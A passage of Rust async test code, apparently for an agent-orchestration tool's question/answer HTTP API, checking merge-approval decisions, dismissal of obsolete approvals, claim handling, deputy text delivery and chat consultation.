10393 assert_eq!(retired.status, RunStatus::Superseded);
10394 assert_eq!(
10395 serde_json::to_value(&retired.pr).unwrap(),
10396 serde_json::to_value(&state.pr).unwrap()
10397 );
10398 assert!(!retired.merge_decision.as_ref().unwrap().closed);
10399 assert!(!crate::merge_decision::resumable_hold(&retired));
10400 assert!(fx.queue().list().is_empty());
10401 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10402 let addr = Fixture::serve(
10404 fx.home.path(),
10405 PathBuf::from("/repo/magi"),
10406 launch_idle,
10407 None,
10408 )
10409 .await;
10410 let reconnected = Fixture {
10411 home: fx.home,
10412 addr,
10413 };
10414 let listed = reconnected.get("/api/questions").await.json();
10415 assert!(
10416 listed
10417 .as_array()
10418 .unwrap()
10419 .iter()
10420 .all(|q| q["status"] != "open")
10421 );
10422 assert_eq!(listed[0]["id"], q.id, "history remains available");
10423 assert_eq!(
10424 reconnected.get("/api/health").await.json()["questions_open"],
10425 0
10426 );
10427 assert_eq!(
10428 reconnected
10429 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
10430 .await
10431 .status,
10432 409
10433 );
10434 assert!(
10436 reconnected
10437 .questions()
10438 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
10439 .is_err()
10440 );
10441 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
10444 }
10445
10446 #[tokio::test]
10447 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
10448 let fx = Fixture::start().await;
10449 let mut state = obsolete_approval_state();
10450 state.status = RunStatus::Landing;
10451 state.driver_exited = true;
10452 let mut q = Question::new(
10453 state.id.clone(),
10454 crate::land::APPROVAL_NODE.into(),
10455 "land".into(),
10456 "Obsolete approval".into(),
10457 String::new(),
10458 vec!["merge".into(), "hold".into()],
10459 );
10460 state.land_approval = Some(crate::run::LandApproval {
10461 question: q.id.clone(),
10462 head: "head".into(),
10463 });
10464 state.save_under(fx.home.path()).unwrap();
10465 fx.questions().put(&mut q).unwrap();
10466 let mut task = Task::new(
10467 "Owner".into(),
10468 "Original instruction".into(),
10469 state.repo.clone(),
10470 Source::Human,
10471 );
10472 task.runs = vec![state.id.clone(), "later-run".into()];
10473 fx.queue().put(&mut task).unwrap();
10474 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
10475 let claim = fx.queue().claim(&task.id).unwrap();
10476 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10477 let path = format!("/api/questions/{}/answer", q.id);
10478 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10479 assert!(fx.questions().get(&q.id).unwrap().status.open());
10480 drop(claim);
10481 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
10482 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10483 assert!(fx.questions().get(&q.id).unwrap().status.open());
10484 drop(publication);
10485 state.driver_exited = false;
10487 state.driver_pid = None;
10488 state.save_under(fx.home.path()).unwrap();
10489 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10490 state.driver_exited = true;
10491 state.land_armed_head = Some("head".into());
10492 state.save_under(fx.home.path()).unwrap();
10493 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10494 state.land_armed_head = None;
10495 state.save_under(fx.home.path()).unwrap();
10496 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10497 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10498 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
10499 }
10500
10501 #[tokio::test]
10502 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
10503 let fx = Fixture::start().await;
10504 let mut state = obsolete_approval_state();
10505 state.status = RunStatus::Landing;
10506 state.driver_exited = true;
10507 let mut q = Question::new(
10508 state.id.clone(),
10509 crate::land::APPROVAL_NODE.into(),
10510 "land".into(),
10511 "Obsolete approval".into(),
10512 String::new(),
10513 vec!["merge".into(), "hold".into()],
10514 );
10515 state.land_approval = Some(crate::run::LandApproval {
10516 question: q.id.clone(),
10517 head: "head".into(),
10518 });
10519 state.save_under(fx.home.path()).unwrap();
10520 fx.questions().put(&mut q).unwrap();
10521 let mut task = Task::new(
10522 "Owner".into(),
10523 "Original instruction".into(),
10524 state.repo.clone(),
10525 Source::Human,
10526 );
10527 task.runs.push(state.id.clone());
10528 task.status = TaskStatus::Parked;
10529 fx.queue().put(&mut task).unwrap();
10530 state.merge_decision = Some(crate::merge_decision::Decision {
10533 question: q.id.clone(),
10534 target: crate::merge_decision::Target {
10535 pr: state.pr.as_ref().unwrap().url.clone(),
10536 head: "head".into(),
10537 language: "ja".into(),
10538 },
10539 choice: crate::merge_decision::DISMISS.into(),
10540 closed: false,
10541 replacement_run: None,
10542 replacement_pr: None,
10543 });
10544 state.status = RunStatus::Superseded;
10545 state.save_under(fx.home.path()).unwrap();
10546 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10547 let path = format!("/api/questions/{}/answer", q.id);
10548 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10549 let done = fx.queue().get(&task.id).unwrap();
10550 assert_eq!(done.status, TaskStatus::Done);
10551 assert_eq!(done.runs, task.runs);
10552 assert_eq!(done.instruction, task.instruction);
10553 assert!(done.action_applied(&q.id));
10554 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10555 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
10556 assert!(!fx.questions().get(&q.id).unwrap().status.open());
10557 }
10558
10559 #[tokio::test]
10560 async fn merge_decision_api_persists_exact_target_and_selected_action() {
10561 let fx = Fixture {
10562 home: TempDir::new().unwrap(),
10563 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10564 };
10565 for choice in [
10566 crate::land::HOLD,
10567 crate::land::REPAIR,
10568 crate::land::APPROVE,
10569 crate::merge_decision::WITHDRAW,
10570 "reimplement:beta",
10571 ] {
10572 let mut q = Question::new(
10573 "old-run".into(),
10574 crate::land::APPROVAL_NODE.into(),
10575 "land".into(),
10576 "Decision".into(),
10577 "Review findings".into(),
10578 vec![
10579 "merge".into(),
10580 "hold".into(),
10581 crate::land::REPAIR.into(),
10582 crate::merge_decision::WITHDRAW.into(),
10583 "reimplement:beta".into(),
10584 ],
10585 );
10586 q.merge_target = Some(crate::merge_decision::Target {
10587 pr: "https://github.com/example/repo/pull/42".into(),
10588 head: "exact-reviewed-head".into(),
10589 language: "ja".into(),
10590 });
10591 q.consult = Some(ask::ChatConsult {
10592 talk: "another-conversation".into(),
10593 at: jiff::Timestamp::now(),
10594 });
10595 fx.questions().put(&mut q).unwrap();
10596 let ui = Arc::new(Ui::new(
10597 fx.queue(),
10598 fx.questions(),
10599 fx.talks(),
10600 fx.runs(),
10601 fx.home.path().into(),
10602 std::path::PathBuf::from("."),
10603 ));
10604 let response = question_answer(
10605 State(ui.clone()),
10606 Path(q.id.clone()),
10607 Ok(Json(NewAnswer {
10608 choice: Some(choice.into()),
10609 text: None,
10610 })),
10611 )
10612 .await
10613 .unwrap();
10614 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
10615 let disk = fx.questions().get(&q.id).unwrap();
10616 assert_eq!(disk.merge_target, q.merge_target);
10617 assert_eq!(disk.consult, q.consult);
10618 assert!(
10619 disk.answer_authority.is_none(),
10620 "a direct owner card is its own decision"
10621 );
10622 assert_eq!(disk.resolution().as_deref(), Some(choice));
10623 assert!(
10624 question_answer(
10625 State(ui),
10626 Path(q.id.clone()),
10627 Ok(Json(NewAnswer {
10628 choice: Some("merge".into()),
10629 text: None
10630 }))
10631 )
10632 .await
10633 .is_err(),
10634 "an already settled decision cannot turn into merge approval"
10635 );
10636 }
10637 }
10638
10639 #[tokio::test]
10640 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
10641 let fx = Fixture {
10642 home: TempDir::new().unwrap(),
10643 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10644 };
10645 let mut state = crate::land::tests::repair_state(true, true);
10646 state.status = RunStatus::Landing;
10647 state.parked = true;
10648 state.driver_exited = true;
10649 let mut task = Task::new(
10650 "Existing PR owner".into(),
10651 state.instruction.clone(),
10652 state.repo.clone(),
10653 Source::Human,
10654 );
10655 task.runs.push(state.id.clone());
10656 task.status = TaskStatus::Parked;
10657 fx.queue().put(&mut task).unwrap();
10658 let mut q = Question::new(
10659 state.id.clone(),
10660 crate::land::APPROVAL_NODE.into(),
10661 "land".into(),
10662 "Contested merge".into(),
10663 "Original evidence".into(),
10664 vec!["merge".into(), "hold".into()],
10665 );
10666 state.land_approval = Some(crate::run::LandApproval {
10667 question: q.id.clone(),
10668 head: "reviewed-head".into(),
10669 });
10670 state.save_under(fx.home.path()).unwrap();
10671 fx.questions().put(&mut q).unwrap();
10672 task.hold_manual(Some("Pause this PR".into()));
10674 fx.queue().put(&mut task).unwrap();
10675 let ui = Arc::new(Ui::new(
10678 fx.queue(),
10679 fx.questions(),
10680 fx.talks(),
10681 fx.runs(),
10682 fx.home.path().to_path_buf(),
10683 state.repo.clone(),
10684 ));
10685 let response = question_answer(
10686 State(ui),
10687 Path(q.id.clone()),
10688 Ok(Json(NewAnswer {
10689 choice: Some(crate::land::REPAIR.into()),
10690 text: None,
10691 })),
10692 )
10693 .await
10694 .unwrap();
10695 assert_eq!(response.0.question.id, q.id);
10696 let upgraded = fx.questions().get(&q.id).unwrap();
10697 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
10698 assert!(upgraded.detail.starts_with("Original evidence"));
10699 let claim = fx.queue().claim(&task.id).unwrap();
10700 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10701 assert!(
10702 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
10703 "an existing driver keeps its claim"
10704 );
10705 drop(claim);
10706 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10707 let resumed = fx.queue().get(&task.id).unwrap();
10708 assert_eq!(
10709 resumed
10710 .resume_override
10711 .as_ref()
10712 .unwrap()
10713 .pinned_run
10714 .as_deref(),
10715 Some(state.id.as_str())
10716 );
10717 assert!(resumed.status.runnable());
10718 assert_eq!(resumed.instruction, task.instruction);
10719 assert_eq!(resumed.runs, task.runs);
10720 assert!(resumed.action_applied(&q.id));
10721 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10722 assert_eq!(fx.queue().list().len(), 1);
10723 assert_eq!(
10724 fx.queue().get(&task.id).unwrap().resume_override,
10725 resumed.resume_override
10726 );
10727 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10728 assert!(
10729 disk.merge_repairs.is_empty(),
10730 "only the claimed run driver may execute repair"
10731 );
10732 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
10733 }
10734
10735 #[tokio::test]
10736 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
10737 let fx = Fixture::start().await;
10738 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10739 let path = format!("/api/questions/{id}/answer");
10740
10741 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
10742 assert_eq!(res.status, 200, "{}", res.body);
10743 let body = res.json();
10744 assert_eq!(body["status"], "answered");
10745 assert_eq!(body["answer"]["choice"], "Redis");
10746
10747 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
10751 assert_eq!(again.status, 409, "{}", again.body);
10752 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10753 }
10754
10755 #[tokio::test]
10756 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
10757 let home = tempfile::tempdir().unwrap();
10758 let ui = delta_test_ui(home.path());
10759 let mut q = Question::new(
10760 "task".into(),
10761 crate::land::APPROVAL_NODE.into(),
10762 "land".into(),
10763 "Explain?".into(),
10764 String::new(),
10765 vec!["hold".into()],
10766 );
10767 q.deputy = Some(ask::Deputy::new("context".into()));
10768 ui.questions.put(&mut q).unwrap();
10769 let mut cfg = stub_config();
10770 cfg.daemon.max_deputies = 0;
10771 let mut status = crate::daemon::Status::new();
10772 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
10773 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
10774 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
10775 let error = question_say(
10776 State(ui.clone()),
10777 Path(q.id.clone()),
10778 Ok(Json(NewSay {
10779 body: "Explain the findings".into(),
10780 })),
10781 )
10782 .await
10783 .unwrap_err();
10784 assert_eq!(
10785 error.text_reason,
10786 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
10787 );
10788 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
10789
10790 let mut text = Question::new(
10791 "task".into(),
10792 "ask".into(),
10793 "operator".into(),
10794 "Which name?".into(),
10795 String::new(),
10796 vec![],
10797 );
10798 ui.questions.put(&mut text).unwrap();
10799 let Json(view) = question_answer(
10800 State(ui.clone()),
10801 Path(text.id.clone()),
10802 Ok(Json(NewAnswer {
10803 choice: None,
10804 text: Some("chosen name".into()),
10805 })),
10806 )
10807 .await
10808 .unwrap();
10809 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
10810 assert!(!ui.questions.get(&text.id).unwrap().status.open());
10811 }
10812
10813 #[tokio::test]
10814 async fn question_text_handler_admission_without_transport() {
10815 let home = tempfile::tempdir().unwrap();
10816 let ui = delta_test_ui(home.path());
10817 let mut q = Question::new(
10818 "task".into(),
10819 crate::land::APPROVAL_NODE.into(),
10820 "land".into(),
10821 "May this PR merge?".into(),
10822 String::new(),
10823 vec!["hold".into()],
10824 );
10825 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
10826 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10827 ui.questions.put(&mut q).unwrap();
10828 let say = || {
10829 Ok(Json(NewSay {
10830 body: "Explain the findings".into(),
10831 }))
10832 };
10833 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
10834 .await
10835 .unwrap_err();
10836 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
10837 let response = rejected.into_response();
10838 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
10839 .await
10840 .unwrap();
10841 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
10842 assert_eq!(body["code"], "question_text_unavailable");
10843 assert_eq!(body["reason"], "deputy_exhausted");
10844 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
10845 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
10846 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
10847 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
10848 .await
10849 .unwrap();
10850 assert_eq!(view.text_delivery.state, "live");
10851 assert!(view.question.waiter.is_none());
10852 assert!(view.question.cwd.is_none());
10853 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
10854 ui.questions.drop_lease(&q.id);
10855 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
10856 .await
10857 .unwrap_err();
10858 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
10859 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
10860 let _ = question_answer(
10861 State(ui.clone()),
10862 Path(q.id.clone()),
10863 Ok(Json(NewAnswer {
10864 choice: Some("hold".into()),
10865 text: None,
10866 })),
10867 )
10868 .await
10869 .unwrap();
10870 assert_eq!(
10871 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
10872 Some("hold")
10873 );
10874 }
10875
10876 #[tokio::test]
10877 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
10878 let fx = Fixture::start().await;
10879 let store = fx.questions();
10880 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
10881 store
10882 .update(&id, |q| {
10883 q.node = crate::land::APPROVAL_NODE.to_owned();
10884 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
10885 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10886 Ok(())
10887 })
10888 .unwrap();
10889 let path = format!("/api/questions/{id}/say");
10890 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
10891 assert_eq!(refused.status, 422, "{}", refused.body);
10892 assert!(
10893 refused.json()["error"]
10894 .as_str()
10895 .unwrap()
10896 .contains("deputy_exhausted")
10897 );
10898 assert!(store.get(&id).unwrap().thread.is_empty());
10899
10900 store.beat(&id, ask::WaiterKind::Deputy);
10902 let view = fx.get("/api/questions").await.json();
10903 assert_eq!(view[0]["text_delivery"]["state"], "live");
10904 let accepted = fx
10905 .post(&path, Some(r#"{"body":"explain the findings"}"#))
10906 .await;
10907 assert_eq!(accepted.status, 200, "{}", accepted.body);
10908 let before = std::fs::read(store.path_of(&id)).unwrap();
10909
10910 store.drop_lease(&id);
10913 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
10914 assert_eq!(refused.status, 422, "{}", refused.body);
10915 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
10916 let held = fx
10917 .post(
10918 &format!("/api/questions/{id}/answer"),
10919 Some(r#"{"choice":"hold"}"#),
10920 )
10921 .await;
10922 assert_eq!(held.status, 200, "{}", held.body);
10923 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
10924 }
10925
10926 #[tokio::test]
10927 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
10928 let repo = tempfile::tempdir().unwrap();
10929 let mut cfg = stub_config();
10930 cfg.daemon.max_deputies = 0;
10931 std::fs::write(
10932 repo.path().join("magi.toml"),
10933 toml::to_string(&cfg).unwrap(),
10934 )
10935 .unwrap();
10936 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
10937 let mut status = crate::daemon::Status::new();
10938 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
10939 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
10940 let id = ask(&fx, "Explain?", &["hold"]);
10941 fx.questions()
10942 .update(&id, |q| {
10943 q.node = crate::land::APPROVAL_NODE.into();
10944 q.deputy = Some(ask::Deputy::new("context".into()));
10945 q.deputy.as_mut().unwrap().agent = "stub".into();
10946 Ok(())
10947 })
10948 .unwrap();
10949 cfg.daemon.max_deputies = 1;
10950 std::fs::write(
10951 repo.path().join("magi.toml"),
10952 toml::to_string(&cfg).unwrap(),
10953 )
10954 .unwrap();
10955 let view = fx.get("/api/questions").await.json();
10956 assert_eq!(view[0]["deputies_enabled"], true);
10957 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
10958 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
10959 let res = fx
10960 .post(
10961 &format!("/api/questions/{id}/say"),
10962 Some(r#"{"body":"Please explain"}"#),
10963 )
10964 .await;
10965 assert_eq!(res.status, 422, "{}", res.body);
10966 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
10967 }
10968
10969 #[tokio::test]
10970 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
10971 let fx = Fixture::start().await;
10972 let id = ask(&fx, "No seat", &[]);
10973 let store = fx.questions();
10974 let before = std::fs::read(store.path_of(&id)).unwrap();
10975 let res = fx
10976 .post(
10977 &format!("/api/questions/{id}/say"),
10978 Some(r#"{"body":"hello"}"#),
10979 )
10980 .await;
10981 assert_eq!(res.status, 422, "{}", res.body);
10982 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
10983 let res = fx
10984 .post(
10985 &format!("/api/questions/{id}/answer"),
10986 Some(r#"{"text":"hello"}"#),
10987 )
10988 .await;
10989 assert_eq!(res.status, 200, "{}", res.body);
10990 assert_eq!(
10991 store.get(&id).unwrap().resolution().as_deref(),
10992 Some("hello")
10993 );
10994 }
10995
10996 #[tokio::test]
10997 async fn saying_something_appends_a_turn_without_answering() {
10998 let fx = Fixture::start().await;
10999 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11000 fx.questions().beat(&id, ask::WaiterKind::Asker);
11001 let path = format!("/api/questions/{id}/say");
11002
11003 let res = fx
11004 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
11005 .await;
11006 assert_eq!(res.status, 200, "{}", res.body);
11007 let body = res.json();
11008 assert_eq!(body["status"], "open", "talking back is not a decision");
11009 assert_eq!(body["answer"], Value::Null);
11010 assert_eq!(body["thread"][0]["who"], "operator");
11011 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
11012 assert_eq!(body["waiting_on_agent"], true);
11013 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11015 }
11016
11017 #[tokio::test]
11018 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
11019 let fx = Fixture::start().await;
11020 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11021
11022 let list = fx.get("/api/questions").await.json();
11023 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
11024
11025 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
11026 assert_eq!(res.status, 409, "{}", res.body);
11027 let q = fx.questions().get(&id).unwrap();
11028 assert!(q.status.open());
11029 assert!(q.consult.is_none());
11030 }
11031
11032 #[tokio::test]
11033 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
11034 let fx = Fixture::start().await;
11035 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11036 let cfg = Config {
11037 agents: vec![crate::config::AgentSpec {
11038 id: "mock".to_owned(),
11039 kind: crate::config::AgentKind::Command,
11040 model: None,
11041 command: vec!["true".to_owned()],
11042 extra_args: Vec::new(),
11043 env: Default::default(),
11044 prompt_delivery: None,
11045 }],
11046 ..Config::default()
11047 };
11048 let talk = crate::talk::begin(
11049 &fx.talks(),
11050 &cfg,
11051 fx.home.path().to_path_buf(),
11052 Some("mock"),
11053 )
11054 .unwrap();
11055 let mut task = Task::new(
11056 "t".to_owned(),
11057 "Do it".to_owned(),
11058 PathBuf::from("/repo/magi"),
11059 Source::Agent {
11060 run: talk.id.clone(),
11061 node: crate::queue::CHAT_NODE.to_owned(),
11062 },
11063 );
11064 task.start("20260902-000000-beef".to_owned());
11065 fx.queue().put(&mut task).unwrap();
11066
11067 let list = fx.get("/api/questions").await.json();
11068 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
11069 assert_eq!(
11070 list[0]["choices"],
11071 serde_json::json!(["SQLite", "Redis"]),
11072 "the hand-over is never a choice"
11073 );
11074 fx.questions()
11075 .update(&id, |q| {
11076 q.node = crate::land::APPROVAL_NODE.into();
11077 q.choices = vec!["merge".into(), "hold".into()];
11078 Ok(())
11079 })
11080 .unwrap();
11081 let list = fx.get("/api/questions").await.json();
11082 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
11083 assert_eq!(list[0]["can_consult_chat"], true);
11084 fx.questions()
11085 .update(&id, |q| {
11086 q.node = crate::bump::NOTICE_NODE.into();
11087 Ok(())
11088 })
11089 .unwrap();
11090 let list = fx.get("/api/questions").await.json();
11091 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11092 assert_eq!(list[0]["can_consult_chat"], false);
11093 }
11094
11095 #[tokio::test]
11096 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
11097 let fx = Fixture::start().await;
11098 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11099 fx.questions()
11100 .update(&id, |q| {
11101 q.node = crate::land::APPROVAL_NODE.into();
11102 q.choices = vec!["merge".into(), "hold".into()];
11103 Ok(())
11104 })
11105 .unwrap();
11106 let cfg = Config {
11107 agents: vec![crate::config::AgentSpec {
11108 id: "mock".to_owned(),
11109 kind: crate::config::AgentKind::Command,
11110 model: None,
11111 command: vec!["true".to_owned()],
11112 extra_args: Vec::new(),
11113 env: Default::default(),
11114 prompt_delivery: None,
11115 }],
11116 ..Config::default()
11117 };
11118 let repo = fx.home.path().join("chat-repo");
11120 std::fs::create_dir_all(&repo).unwrap();
11121 let toml = repo.join("magi.toml");
11122 std::fs::write(&toml, "this is = = not toml").unwrap();
11123 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
11124 let mut task = Task::new(
11125 "t".to_owned(),
11126 "Do it".to_owned(),
11127 PathBuf::from("/repo/magi"),
11128 Source::Agent {
11129 run: talk.id.clone(),
11130 node: crate::queue::CHAT_NODE.to_owned(),
11131 },
11132 );
11133 task.start("20260902-000000-beef".to_owned());
11134 fx.queue().put(&mut task).unwrap();
11135
11136 let path = format!("/api/questions/{id}/consult");
11137 let res = fx.post(&path, None).await;
11138 assert!(res.status >= 400, "{}", res.body);
11139 assert!(fx.questions().get(&id).unwrap().consult.is_none());
11140 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
11141
11142 std::fs::write(&toml, "").unwrap();
11143 let res = fx.post(&path, None).await;
11144 assert_eq!(res.status, 202, "{}", res.body);
11145 assert!(fx.questions().get(&id).unwrap().consult.is_some());
11146 let q = fx.questions().get(&id).unwrap();
11147 assert!(q.status.open());
11148 assert!(q.answer.is_none());
11149 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11150 assert_eq!(res.json()["can_consult_chat"], true);
11151 let list = fx.get("/api/questions").await.json();
11152 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11153 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
11154
11155 let res = fx
11156 .post(
11157 &format!("/api/questions/{id}/answer"),
11158 Some(r#"{"choice":"hold"}"#),
11159 )
11160 .await;
11161 assert_eq!(res.status, 200, "{}", res.body);
11162 assert_eq!(res.json()["answer"]["choice"], "hold");
11163 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11164 assert_eq!(res.json()["can_consult_chat"], false);
11165 assert_eq!(fx.post(&path, None).await.status, 409);
11166
11167 let mut talk = fx.talks().get(&talk.id).unwrap();
11168 crate::talk::close(&mut talk, &fx.talks()).unwrap();
11169 let list = fx.get("/api/questions").await.json();
11170 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11171 assert_eq!(list[0]["origin_chat_closed"], true);
11172 assert_eq!(list[0]["can_consult_chat"], false);
11173
11174 fx.talks().remove(&talk.id).unwrap();
11175 let list = fx.get("/api/questions").await.json();
11176 assert_eq!(list[0]["origin_chat"], Value::Null);
11177 assert_eq!(list[0]["origin_chat_closed"], false);
11178 assert_eq!(list[0]["can_consult_chat"], false);
11179 }
11180
11181 #[tokio::test]
11182 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
11183 let fx = Fixture::start().await;
11184 let store = fx.questions();
11185 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11186 store.beat(&id, ask::WaiterKind::Asker);
11187 assert_eq!(
11188 fx.get("/api/health").await.json()["questions_needs_owner"],
11189 1
11190 );
11191
11192 let res = fx
11198 .post(
11199 &format!("/api/questions/{id}/say"),
11200 Some(r#"{"body":"why not Postgres?"}"#),
11201 )
11202 .await;
11203 assert_eq!(res.status, 200, "{}", res.body);
11204 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11205 assert_eq!(
11206 fx.get("/api/health").await.json()["questions_needs_owner"],
11207 0,
11208 "waiting on the agent is not waiting on the owner"
11209 );
11210
11211 let mut q = store.get(&id).expect("get");
11215 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
11216 .expect("reply");
11217 store.put(&mut q).expect("put");
11218 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11219 assert_eq!(
11220 fx.get("/api/health").await.json()["questions_needs_owner"],
11221 1,
11222 "the agent's reply is what should light the banner back up"
11223 );
11224 }
11225
11226 #[tokio::test]
11227 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
11228 let fx = Fixture::start().await;
11229 let store = fx.questions();
11230
11231 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11232 let res = fx
11233 .post(
11234 &format!("/api/questions/{empty_id}/say"),
11235 Some(r#"{"body":" "}"#),
11236 )
11237 .await;
11238 assert_eq!(res.status, 400, "{}", res.body);
11239
11240 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11241 let mut answered = store.get(&answered_id).expect("get");
11242 answered
11243 .answer(Answer::Choice("SQLite".to_owned()))
11244 .expect("answer");
11245 store.put(&mut answered).expect("put");
11246 let res = fx
11247 .post(
11248 &format!("/api/questions/{answered_id}/say"),
11249 Some(r#"{"body":"still there?"}"#),
11250 )
11251 .await;
11252 assert_eq!(res.status, 409, "{}", res.body);
11253
11254 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11255 let mut abandoned = store.get(&abandoned_id).expect("get");
11256 abandoned.abandon("timed out");
11257 store.put(&mut abandoned).expect("put");
11258 let res = fx
11259 .post(
11260 &format!("/api/questions/{abandoned_id}/say"),
11261 Some(r#"{"body":"still there?"}"#),
11262 )
11263 .await;
11264 assert_eq!(res.status, 409, "{}", res.body);
11265 }
11266
11267 #[tokio::test]
11268 async fn an_answer_the_question_does_not_offer_is_refused() {
11269 let fx = Fixture::start().await;
11270 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11271 let path = format!("/api/questions/{id}/answer");
11272
11273 for body in [
11274 r#"{"choice":"Postgres"}"#,
11275 r#"{"text":"whatever you think"}"#,
11276 r#"{"choice":"Redis","text":"both"}"#,
11277 r#"{}"#,
11278 ] {
11279 let res = fx.post(&path, Some(body)).await;
11280 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
11281 assert!(res.json()["error"].is_string(), "{}", res.body);
11282 }
11283 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11285 }
11286
11287 #[tokio::test]
